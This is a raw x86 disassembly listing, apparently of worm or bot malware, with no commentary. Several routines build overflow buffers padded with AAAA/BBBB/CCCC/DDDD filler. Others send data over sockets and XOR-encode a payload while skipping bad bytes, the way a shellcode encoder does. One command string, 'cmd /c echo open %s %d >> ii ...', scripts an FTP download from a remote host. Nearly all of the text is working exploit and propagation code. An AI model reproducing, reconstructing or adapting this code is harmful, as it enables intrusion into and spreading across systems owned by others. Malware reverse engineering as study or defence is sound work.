arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_0]
		push	eax
		push	edx
		call	sub_4012C6
		retn	8
sub_424760	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424790	proc near		; CODE XREF: sub_4017CBj

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 8
		push	esi
		mov	esi, ecx
		call	sub_4010A0
		test	al, al
		jnz	short loc_4247A4
		pop	esi
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_4247A4:				; CODE XREF: sub_424790+Dj
		mov	eax, [esi+4]
		mov	ecx, [esi]
		push	eax
		push	ecx
		push	1
		push	offset dword_444BA4
		lea	ecx, [esp+1Ch+var_8]
		call	sub_4021D5
		mov	ecx, esi
		call	sub_4016B8
		mov	edx, [esp+0Ch+var_8]
		mov	eax, [esp+0Ch+var_4]
		mov	[esi], edx
		mov	[esi+4], eax
		mov	al, 1
		pop	esi
		add	esp, 8
		retn
sub_424790	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424800	proc near		; CODE XREF: sub_401EABj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, ecx
		push	eax
		mov	ecx, [esp+8+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_4014FB
		test	al, al
		jnz	short loc_42481C
		pop	esi
		retn	8
; ---------------------------------------------------------------------------


loc_42481C:				; CODE XREF: sub_424800+16j
		mov	ecx, esi
		call	sub_4017CB
		pop	esi
		retn	8
sub_424800	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424840	proc near		; CODE XREF: sub_401BEAj

var_858		= dword	ptr -858h
var_854		= dword	ptr -854h
var_850		= dword	ptr -850h
var_84C		= dword	ptr -84Ch
var_848		= dword	ptr -848h
var_844		= dword	ptr -844h
var_840		= dword	ptr -840h
var_83C		= dword	ptr -83Ch
var_838		= dword	ptr -838h
var_834		= dword	ptr -834h
var_830		= dword	ptr -830h
var_82C		= dword	ptr -82Ch
var_828		= dword	ptr -828h
var_824		= dword	ptr -824h
var_820		= dword	ptr -820h
var_81C		= dword	ptr -81Ch
var_818		= dword	ptr -818h
var_814		= dword	ptr -814h
var_810		= dword	ptr -810h
var_80C		= dword	ptr -80Ch
var_808		= dword	ptr -808h
var_804		= dword	ptr -804h
var_800		= byte ptr -800h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h

		sub	esp, 858h
		lea	ecx, [esp+858h+var_818]
		push	ebx
		push	esi
		call	sub_4012A8
		mov	esi, [esp+860h+arg_8]
		cmp	esi, 408h
		jg	loc_424C15
		mov	ebx, [esp+860h+arg_10]
		lea	eax, [ebx+8]
		cmp	eax, 408h
		ja	loc_424C15
		push	edi
		lea	ecx, [esp+864h+var_830]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_840]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_810]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_848]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_820]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_828]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_838]
		call	sub_4012A8
		push	4
		push	offset dword_444840
		lea	ecx, [esp+86Ch+var_830]
		call	sub_4012C6
		push	3
		push	offset dword_444848
		lea	ecx, [esp+86Ch+var_830]
		call	sub_4012C6
		lea	ecx, [esp+864h+var_830]
		call	sub_401B68
		lea	ecx, [esp+864h+var_830]
		call	sub_4017CB
		mov	ecx, 200h
		mov	eax, 42424242h
		lea	edi, [esp+864h+var_800]
		push	8
		rep stosd
		push	offset aRbrbrbrb ; "BBBB"
		lea	ecx, [esp+86Ch+var_840]
		call	sub_4012C6
		mov	ecx, [esp+864h+arg_C]
		push	ebx
		push	ecx
		lea	ecx, [esp+86Ch+var_840]
		call	sub_4012C6
		mov	ebx, [esp+864h+var_83C]
		mov	edx, 409h
		sub	edx, ebx
		lea	eax, [esp+864h+var_800]
		push	edx
		push	eax
		lea	ecx, [esp+86Ch+var_840]
		call	sub_4012C6
		lea	ecx, [esp+864h+var_840]
		call	sub_401B68
		push	offset loc_444BC8
		lea	ecx, [esp+868h+var_810]
		call	sub_402036
		lea	ecx, [esp+864h+var_810]
		call	sub_401B68
		mov	ecx, 200h
		mov	eax, 44444444h
		lea	edi, [esp+864h+var_800]
		push	410h
		rep stosd
		lea	ecx, [esp+868h+var_800]
		push	ecx
		lea	ecx, [esp+86Ch+var_808]
		call	sub_401834
		lea	ecx, [esp+864h+var_808]
		call	sub_401B68
		mov	edx, [esp+864h+var_804]
		mov	eax, [esp+864h+var_808]
		push	edx
		push	eax
		lea	ecx, [esp+86Ch+var_810]
		call	sub_401EAB
		lea	ecx, [esp+864h+var_808]
		call	sub_4016B8
		mov	ecx, 200h
		mov	eax, 43434343h
		lea	edi, [esp+864h+var_800]
		push	offset aCccc	; "CCCC"
		rep stosd
		lea	ecx, [esp+868h+var_848]
		call	sub_402036
		push	4
		push	offset dword_44484C
		lea	ecx, [esp+86Ch+var_848]
		call	sub_4012C6
		mov	ecx, [esp+864h+arg_4]
		push	esi
		push	ecx
		lea	ecx, [esp+86Ch+var_848]
		call	sub_4012C6
		mov	edx, 408h
		lea	eax, [esp+864h+var_800]
		sub	edx, esi
		lea	ecx, [esp+864h+var_848]
		push	edx
		push	eax
		call	sub_4012C6
		lea	ecx, [esp+864h+var_848]
		call	sub_401B68
		mov	ecx, [esp+864h+var_844]
		mov	edx, [esp+864h+var_848]
		push	ecx
		push	edx
		lea	ecx, [esp+86Ch+var_820]
		call	sub_4014FB
		mov	eax, [esp+864h+var_80C]
		mov	ecx, [esp+864h+var_810]
		push	eax
		push	ecx
		lea	ecx, [esp+86Ch+var_820]
		call	sub_4014FB
		lea	ecx, [esp+864h+var_820]
		call	sub_4017CB
		lea	ecx, [esp+864h+var_848]
		call	sub_4016B8
		lea	ecx, [esp+864h+var_810]
		call	sub_4016B8
		mov	edx, [esp+864h+var_83C]
		mov	eax, [esp+864h+var_840]
		push	edx
		push	eax
		lea	ecx, [esp+86Ch+var_828]
		call	sub_4014FB
		mov	ecx, [esp+864h+var_82C]
		mov	edx, [esp+864h+var_830]
		push	ecx
		push	edx
		lea	ecx, [esp+86Ch+var_828]
		call	sub_4014FB
		mov	eax, [esp+864h+var_81C]
		mov	ecx, [esp+864h+var_820]
		push	eax
		push	ecx
		lea	ecx, [esp+86Ch+var_828]
		call	sub_4014FB
		lea	ecx, [esp+864h+var_828]
		call	sub_4017CB
		lea	ecx, [esp+864h+var_840]
		call	sub_4016B8
		lea	ecx, [esp+864h+var_830]
		call	sub_4016B8
		lea	ecx, [esp+864h+var_820]
		call	sub_4016B8
		mov	ecx, 200h
		mov	eax, 41414141h
		lea	edi, [esp+864h+var_800]
		lea	edx, [esp+864h+var_800]
		rep stosd
		push	400h
		push	edx
		lea	ecx, [esp+86Ch+var_838]
		call	sub_4012C6
		lea	ecx, [esp+864h+var_838]
		call	sub_401B68
		push	2
		push	offset dword_444BBC
		lea	ecx, [esp+86Ch+var_838]
		call	sub_4012C6
		mov	eax, [esp+864h+var_824]
		mov	ecx, [esp+864h+var_828]
		push	eax
		push	ecx
		lea	ecx, [esp+86Ch+var_838]
		call	sub_4014FB
		lea	ecx, [esp+864h+var_838]
		call	sub_4017CB
		lea	ecx, [esp+864h+var_828]
		call	sub_4016B8
		lea	ecx, [esp+864h+var_850]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_858]
		call	sub_4012A8
		mov	edx, [esp+864h+var_834]
		mov	eax, [esp+864h+var_838]
		push	edx
		push	eax
		lea	ecx, [esp+86Ch+var_850]
		call	sub_4014FB
		lea	ecx, [esp+864h+var_850]
		call	sub_4010A0
		lea	ecx, [esp+864h+var_838]
		call	sub_4016B8
		push	offset dword_444BB8
		lea	ecx, [esp+868h+var_858]
		call	sub_402036
		mov	ecx, [esp+864h+var_84C]
		mov	edx, [esp+864h+var_850]
		push	ecx
		push	edx
		lea	ecx, [esp+86Ch+var_858]
		call	sub_4014FB
		lea	ecx, [esp+864h+var_858]
		call	sub_4010A0
		lea	ecx, [esp+864h+var_850]
		call	sub_4016B8
		push	offset dword_443E90
		lea	ecx, [esp+868h+var_850]
		call	sub_402036
		mov	eax, [esp+864h+var_854]
		mov	ecx, [esp+864h+var_858]
		push	eax
		push	ecx
		lea	ecx, [esp+86Ch+var_850]
		call	sub_4014FB
		lea	ecx, [esp+864h+var_850]
		call	sub_4010A0
		lea	ecx, [esp+864h+var_858]
		call	sub_4016B8
		push	offset dword_444BAC
		lea	ecx, [esp+868h+var_858]
		call	sub_402036
		mov	edx, [esp+864h+var_84C]
		mov	eax, [esp+864h+var_850]
		push	edx
		push	eax
		lea	ecx, [esp+86Ch+var_858]
		call	sub_4014FB
		lea	ecx, [esp+864h+var_858]
		call	sub_4010A0
		lea	ecx, [esp+864h+var_850]
		call	sub_4016B8
		push	offset dword_444BA8
		lea	ecx, [esp+868h+var_818]
		call	sub_402036
		mov	ecx, [esp+864h+var_854]
		mov	edx, [esp+864h+var_858]
		push	ecx
		push	edx
		lea	ecx, [esp+86Ch+var_818]
		call	sub_4014FB
		lea	ecx, [esp+864h+var_858]
		call	sub_4016B8
		mov	eax, [esp+864h+arg_0]
		mov	ecx, [esp+864h+var_818]
		mov	edx, [esp+864h+var_814]
		pop	edi
		mov	[eax], ecx
		pop	esi
		mov	[eax+4], edx
		pop	ebx
		add	esp, 858h
		retn
; ---------------------------------------------------------------------------


loc_424C15:				; CODE XREF: sub_424840+1Ej
					; sub_424840+33j
		mov	eax, [esp+860h+arg_0]
		mov	ecx, [esp+860h+var_818]
		mov	edx, [esp+860h+var_814]
		pop	esi
		mov	[eax], ecx
		mov	[eax+4], edx
		pop	ebx
		add	esp, 858h
		retn
sub_424840	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 100h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424D40	proc near		; CODE XREF: sub_401AB4j

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_208		= dword	ptr -208h
var_204		= dword	ptr -204h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  4

		sub	esp, 210h
		push	esi
		mov	esi, [esp+214h+arg_0]
		lea	eax, [esp+214h+var_210]
		lea	ecx, [esp+214h+var_104]
		push	eax
		push	ecx
		lea	edx, [esp+21Ch+var_208]
		push	0
		lea	eax, [esi+1]
		push	edx
		push	eax
		mov	[esp+228h+var_204], esi
		mov	[esp+228h+var_208], 1
		mov	[esp+228h+var_100], esi
		mov	[esp+228h+var_104], 1
		mov	[esp+228h+var_210], 0Ah
		mov	[esp+228h+var_20C], 0
		nop
		call	near ptr 71AB2DC0h
		cmp	eax, 1
		jz	short loc_424DA9
		xor	eax, eax
		pop	esi
		add	esp, 210h
		retn
; ---------------------------------------------------------------------------


loc_424DA9:				; CODE XREF: sub_424D40+5Dj
		lea	ecx, [esp+214h+var_208]
		push	ecx
		push	esi
		call	sub_436F60
sub_424D40	endp

; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_424DC0
		pop	esi
		add	esp, 210h
		retn
; ---------------------------------------------------------------------------


loc_424DC0:				; CODE XREF: ___:00424DB6j
		mov	edx, [esp+224h]
		mov	eax, [esp+220h]
		mov	ecx, [esp+21Ch]
		push	edx
		push	eax
		push	ecx
		push	esi
		nop
		call	near ptr 71AB615Ah
		pop	esi
		add	esp, 210h
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424E20	proc near		; CODE XREF: sub_4012F3j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_8]
		push	edi
		push	esi
		call	near ptr 71AB2BC0h
		nop
		mov	edi, [esp+0Ch+arg_0]
		mov	ebx, dword_50FC8C
		mov	[esp+0Ch+arg_8], eax
		push	0
		lea	eax, [esp+10h+arg_8]
		push	4
		push	eax
		push	edi
		call	ebx	; send
		cmp	eax, 4
		jz	short loc_424E53
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_424E53:				; CODE XREF: sub_424E20+2Bj
		mov	ecx, [esp+0Ch+arg_4]
		push	0
		push	esi
		push	ecx
		push	edi
		call	ebx	; send
		xor	edx, edx
		cmp	eax, esi
		setz	dl
		pop	edi
		pop	esi
		mov	al, dl
		pop	ebx
		retn
sub_424E20	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424E90	proc near		; CODE XREF: sub_4012F8j

var_104		= dword	ptr -104h
var_100		= byte ptr -100h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		sub	esp, 104h
		push	ebx
		push	ebp
		mov	ebp, [esp+10Ch+arg_8]
		push	esi
		lea	esi, [ebp+41h]
		push	esi
		mov	[esp+114h+var_104], esi
		call	near ptr 77C2C407h
		nop
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_424EC3
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 104h
		retn
; ---------------------------------------------------------------------------


loc_424EC3:				; CODE XREF: sub_424E90+25j
		mov	ecx, esi
		push	edi
		mov	edx, ecx
		xor	eax, eax
		mov	edi, ebx
		mov	esi, offset dword_4448DC
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		push	85h
		and	ecx, 3
		push	offset dword_444854
		rep stosb
		mov	ecx, 0Bh
		mov	edi, ebx
		rep movsd
		movsw
		movsb
		mov	[ebx+2Fh], bp
		mov	eax, dword_44490C
		mov	[ebx+31h], eax
		mov	ecx, dword_444910
		mov	esi, [esp+11Ch+arg_4]
		mov	[ebx+35h], ecx
		mov	ecx, ebp
		lea	eax, [ebx+3Bh]
		mov	edx, ecx
		mov	edi, eax
		shr	ecx, 2
		mov	[ebx+39h], bp
		add	eax, ebp
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	ecx, dword_50E140
		mov	esi, [esp+11Ch+arg_0]
		mov	[eax], ecx
		mov	dx, word_50E144
		push	esi
		mov	[eax+4], dx
		call	sub_4012F3
		add	esp, 0Ch
		test	al, al
		pop	edi
		jnz	short loc_424F68
		push	ebx
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		xor	al, al
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 104h
		retn
; ---------------------------------------------------------------------------


loc_424F68:				; CODE XREF: sub_424E90+C0j
		push	0
		lea	eax, [esp+114h+var_100]
		push	100h
		push	eax
		push	esi
		call	sub_401AB4
		mov	ecx, [esp+120h+var_104]
		push	ecx
		push	ebx
		push	esi
		call	sub_4012F3
		add	esp, 1Ch
		test	al, al
		jnz	short loc_424FA3
		push	ebx
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		xor	al, al
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 104h
		retn
; ---------------------------------------------------------------------------


loc_424FA3:				; CODE XREF: sub_424E90+FBj
		push	0
		lea	edx, [esp+114h+var_100]
		push	100h
		push	edx
		push	esi
		call	sub_401AB4
		push	ebx
		nop
		call	near ptr 77C2C21Bh
		add	esp, 14h
		mov	al, 1
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 104h
		retn
sub_424E90	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_425020	proc near		; CODE XREF: sub_401811j

var_41C		= dword	ptr -41Ch
var_418		= dword	ptr -418h
var_414		= dword	ptr -414h
var_410		= word ptr -410h
var_40E		= word ptr -40Eh
var_40A		= dword	ptr -40Ah
var_406		= dword	ptr -406h
var_402		= word ptr -402h
var_400		= byte ptr -400h
var_3FF		= byte ptr -3FFh
var_371		= byte ptr -371h
arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_9E		= dword	ptr  0A2h

		sub	esp, 41Ch
		mov	ecx, 0FFh
		xor	eax, eax
		push	ebp
		push	esi
		push	edi
		lea	edi, [esp+428h+var_3FF]
		rep stosd
		stosw
		stosb
		mov	ecx, 23h
		mov	esi, offset sub_444A80
		lea	edi, [esp+428h+var_400]
		rep movsd
		movsw
		mov	ecx, offset byte_447551
		movsb
		call	sub_4017E4
		push	eax
		mov	ecx, offset byte_447551
		call	sub_4017E4
		mov	ecx, [esp+42Ch+arg_0]
		push	eax
		mov	eax, dword_44768F
		push	eax
		push	ecx
		call	sub_401DF7
		add	esp, 4
		lea	edx, [esp+434h+var_371]
		push	eax
		push	offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d >> ii &echo user"...
		push	400h
		push	edx
		nop
		call	near ptr 77C3FA76h
		add	eax, 90h
		lea	ecx, [esp+444h+var_418]
		push	eax
		lea	eax, [esp+448h+var_400]
		push	eax
		push	164h
		push	offset sub_444918
		push	ecx
		call	sub_401BEA
		mov	eax, [esp+458h+var_414]
		xor	edi, edi
		add	esp, 30h
		cmp	eax, edi
		jnz	short loc_4250C9
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 41Ch
		retn
; ---------------------------------------------------------------------------


loc_4250C9:				; CODE XREF: sub_425020+9Bj
		mov	ebp, dword_50FC2C
		mov	[esp+428h+var_41C], edi


loc_4250D3:				; CODE XREF: sub_425020+158j
		test	edi, edi
		jnz	loc_42517E
		push	6
		push	1
		push	2
		call	near ptr 71AB3B91h
		nop
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_425161
		mov	eax, [esp+428h+arg_9E]
		xor	edx, edx
		mov	dword ptr [esp+428h+var_40E], edx
		push	eax
		mov	[esp+42Ch+var_40A], edx
		mov	[esp+42Ch+var_410], 2
		mov	[esp+42Ch+var_406], edx
		mov	[esp+42Ch+var_402], dx
		call	ebp	; ntohs
		lea	ecx, [esp+428h+arg_4]
		mov	[esp+428h+var_40E], ax
		push	ecx
		nop
		call	near ptr 71AB2BF4h
		lea	edx, [esp+428h+var_410]
		push	10h
		push	edx
		push	esi
		mov	[esp+28h], eax
		call	near ptr 71AB406Ah
		nop
		cmp	eax, 0FFFFFFFFh
		jz	short loc_425156
		mov	eax, [esp+428h+var_414]
		mov	ecx, [esp+428h+var_418]
		push	eax
		push	ecx
		push	esi
		call	sub_4012F8
		add	esp, 0Ch
		and	eax, 0FFh
		mov	edi, eax


loc_425156:				; CODE XREF: sub_425020+11Aj
		push	esi
		nop
		call	near ptr 71AB9639h
		test	edi, edi
		jnz	short loc_42516C


loc_425161:				; CODE XREF: sub_425020+CCj
		push	3E8h
		call	near ptr 2811D0Bh
		nop


loc_42516C:				; CODE XREF: sub_425020+13Fj
		mov	eax, [esp+428h+var_41C]
		inc	eax
		cmp	eax, 2
		mov	[esp+428h+var_41C], eax
		jl	loc_4250D3


loc_42517E:				; CODE XREF: sub_425020+B5j
		lea	ecx, [esp+428h+var_418]
		call	sub_4016B8
		test	edi, edi
		jz	short loc_4251AE
		sub	esp, 0BCh
		mov	ecx, 2Eh
		lea	esi, [esp+4E4h+arg_0]
		mov	edi, esp
		rep movsd
		movsw
		call	sub_40114F
		add	esp, 0BCh


loc_4251AE:				; CODE XREF: sub_425020+169j
		pop	edi
		pop	esi
		mov	eax, 1
		pop	ebp
		add	esp, 41Ch
		retn
sub_425020	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_425230	proc near		; CODE XREF: sub_4013C5j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	edi
		mov	edi, [esp+4+arg_4]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		mov	edi, [esp+4+arg_0]
		not	ecx
		dec	ecx
		mov	edx, ecx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		pop	edi
		lea	eax, [ecx+edx*2+0C1h]
		retn
sub_425230	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_425270	proc near		; CODE XREF: sub_40178Aj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	ebx, [esp+4+arg_8]
		push	esi
		mov	esi, [esp+8+arg_C]
		push	esi
		push	ebx
		call	sub_4013C5
		mov	ecx, [esp+10h+arg_4]
		add	esp, 8
		cmp	eax, ecx
		mov	[esp+8+arg_8], eax
		jbe	short loc_425295
		pop	esi
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_425295:				; CODE XREF: sub_425270+1Ej
		push	ebp
		push	edi
		or	ecx, 0FFFFFFFFh
		mov	edi, ebx
		xor	eax, eax
		mov	ebp, [esp+10h+arg_0]
		repne scasb
		not	ecx
		dec	ecx
		mov	edi, esi
		mov	edx, ecx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		mov	esi, offset dword_444CA8
		mov	eax, ecx
		mov	edi, ebp
		lea	ecx, [eax+edx+12h]
		mov	dword_444D0C, ecx
		lea	ecx, [eax+1]
		mov	dword_444D2D, ecx
		lea	ecx, [eax+17h]
		mov	dword_444D25, ecx
		mov	ecx, 0FFFFFFEDh
		sub	ecx, eax
		mov	dword_444D3B, ecx
		mov	ecx, 1Dh
		rep movsd
		mov	ecx, edx
		mov	esi, ebx
		mov	ebx, ecx
		lea	edi, [ebp+74h]
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		add	edx, 74h
		and	ecx, 3
		rep movsb
		mov	esi, dword_444D1C
		lea	ecx, [edx+ebp]
		add	edx, 5
		mov	[ecx], esi
		mov	bl, byte_444D20
		mov	esi, [esp+10h+arg_C]
		lea	edi, [edx+ebp]
		mov	[ecx+4], bl
		mov	ecx, eax
		mov	ebx, ecx
		add	edx, eax
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		mov	esi, dword_444D21
		lea	ecx, [edx+ebp]
		add	edx, 10h
		mov	[ecx], esi
		mov	esi, dword_444D25
		lea	edi, [edx+ebp]
		mov	[ecx+4], esi
		mov	esi, dword_444D29
		mov	[ecx+8], esi
		mov	esi, dword_444D2D
		mov	[ecx+0Ch], esi
		mov	esi, [esp+10h+arg_C]
		mov	ecx, eax
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		lea	edi, [edx+eax]
		mov	eax, [esp+10h+arg_8]
		add	edi, ebp
		mov	ecx, 0Eh
		mov	esi, offset byte_444D31
		rep movsd
		pop	edi
		pop	ebp
		pop	esi
		pop	ebx
		retn
sub_425270	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4253E0	proc near		; CODE XREF: sub_402162j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_4013C5
		push	eax
		call	sub_4017BC
		add	esp, 0Ch
		retn
sub_4253E0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_425410:				; CODE XREF: ___:00401735j
		push	ebx
		mov	ebx, [esp+10h]
		push	ebp
		push	edi
		mov	edi, [esp+1Ch]
		push	edi
		push	ebx
		call	sub_402162
		mov	ebp, [esp+1Ch]
		add	esp, 8
		cmp	eax, ebp
		jbe	short loc_425433
		pop	edi
		pop	ebp
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_425433:				; CODE XREF: ___:0042542Bj
		cmp	eax, 0FFFFh
		jbe	short loc_425440
		pop	edi
		pop	ebp
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_425440:				; CODE XREF: ___:00425438j
		push	esi
		push	edi
		push	ebx
		call	sub_4013C5
		add	eax, 101h
		push	eax
		nop
		call	near ptr 77C2C407h
		add	esp, 0Ch
		mov	esi, eax
		push	edi
		push	ebx
		push	edi
		push	ebx
		call	sub_4013C5
		add	esp, 8
		push	eax
		push	esi
		call	sub_40178A
		push	eax
		mov	eax, [esp+28h]
		push	esi
		push	ebp
		push	eax
		call	sub_401B77
		push	esi
		mov	edi, eax
		call	near ptr 77C2C21Bh
		nop
		add	esp, 24h
		mov	eax, edi
		pop	esi
		pop	edi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4254B0	proc near		; CODE XREF: sub_4017BCj

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	cl, cl
		jnz	short loc_4254B9
		inc	ecx


loc_4254B9:				; CODE XREF: sub_4254B0+6j
		mov	eax, 0FFh
		cmp	eax, ecx
		sbb	eax, eax
		and	eax, 2
		add	eax, 15h
		add	eax, ecx
		retn
sub_4254B0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4254E0	proc near		; CODE XREF: sub_401B77j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	ebx, [esp+4+arg_C]
		cmp	bl, 0Ah
		jz	short loc_4254F8
		cmp	bl, 0Dh
		jz	short loc_4254F8
		cmp	bl, 5Ch
		jz	short loc_4254F8
		test	bl, bl
		jnz	short loc_4254F9


loc_4254F8:				; CODE XREF: sub_4254E0+8j
					; sub_4254E0+Dj ...
		inc	ebx


loc_4254F9:				; CODE XREF: sub_4254E0+16j
		cmp	ebx, 0FFh
		jbe	short loc_42551C
		mov	eax, ebx
		shr	eax, 8
		cmp	al, 0Ah
		jz	short loc_425516
		cmp	al, 0Dh
		jz	short loc_425516
		cmp	al, 5Ch
		jz	short loc_425516
		test	al, al
		jnz	short loc_42551C


loc_425516:				; CODE XREF: sub_4254E0+28j
					; sub_4254E0+2Cj ...
		add	ebx, 100h


loc_42551C:				; CODE XREF: sub_4254E0+1Fj
					; sub_4254E0+34j
		push	ebx
		call	sub_4017BC
		mov	ecx, [esp+8+arg_4]
		add	esp, 4
		cmp	eax, ecx
		mov	[esp+4+arg_C], eax
		jbe	short loc_425535
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_425535:				; CODE XREF: sub_4254E0+4Fj
		cmp	eax, 0FFFFh
		jbe	short loc_425540
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_425540:				; CODE XREF: sub_4254E0+5Aj
		mov	al, byte_50E148
		xor	edx, edx
		push	ebp
		mov	ebp, [esp+8+arg_8]
		test	ebx, ebx
		push	esi
		jbe	short loc_425570


loc_425551:				; CODE XREF: sub_4254E0+8Ej
		mov	cl, [edx+ebp]
		xor	cl, al
		jz	short loc_425567
		cmp	cl, 0Ah
		jz	short loc_425567
		cmp	cl, 0Dh
		jz	short loc_425567
		cmp	cl, 5Ch
		jnz	short loc_42556B


loc_425567:				; CODE XREF: sub_4254E0+76j
					; sub_4254E0+7Bj ...
		inc	al
		xor	edx, edx


loc_42556B:				; CODE XREF: sub_4254E0+85j
		inc	edx
		cmp	edx, ebx
		jb	short loc_425551


loc_425570:				; CODE XREF: sub_4254E0+6Fj
		cmp	ebx, 0FFh
		push	edi
		mov	byte_50E148, al
		ja	short loc_4255A3
		mov	edx, [esp+10h+arg_0]
		mov	ecx, 5
		mov	esi, offset loc_444C90
		mov	edi, edx
		mov	byte_444C9D, bl
		mov	byte_444CA1, al
		rep movsd
		movsb
		mov	esi, 15h
		jmp	short loc_4255C9
; ---------------------------------------------------------------------------


loc_4255A3:				; CODE XREF: sub_4254E0+9Cj
		mov	edx, [esp+10h+arg_0]
		mov	ecx, 5
		mov	esi, offset loc_444C78
		mov	edi, edx
		mov	word_444C86, bx
		mov	byte_444C8B, al
		rep movsd
		movsw
		movsb
		mov	esi, 17h


loc_4255C9:				; CODE XREF: sub_4254E0+C1j
		xor	ecx, ecx
		pop	edi
		test	ebx, ebx
		jbe	short loc_4255DF
		add	esi, edx


loc_4255D2:				; CODE XREF: sub_4254E0+FDj
		mov	dl, [ecx+ebp]
		xor	dl, al
		mov	[esi+ecx], dl
		inc	ecx
		cmp	ecx, ebx
		jb	short loc_4255D2


loc_4255DF:				; CODE XREF: sub_4254E0+EEj
		mov	eax, [esp+0Ch+arg_C]
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_4254E0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_425640	proc near		; CODE XREF: sub_401E24j

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		lea	eax, [ecx+ecx*2]
		shl	eax, 4
		sub	eax, ecx
		xor	ecx, ecx
		lea	eax, [eax+eax*2]
		mov	dword_4491DF[eax*4], ecx
		mov	dword_4491CB[eax*4], ecx
		mov	dword_4491CF[eax*4], ecx
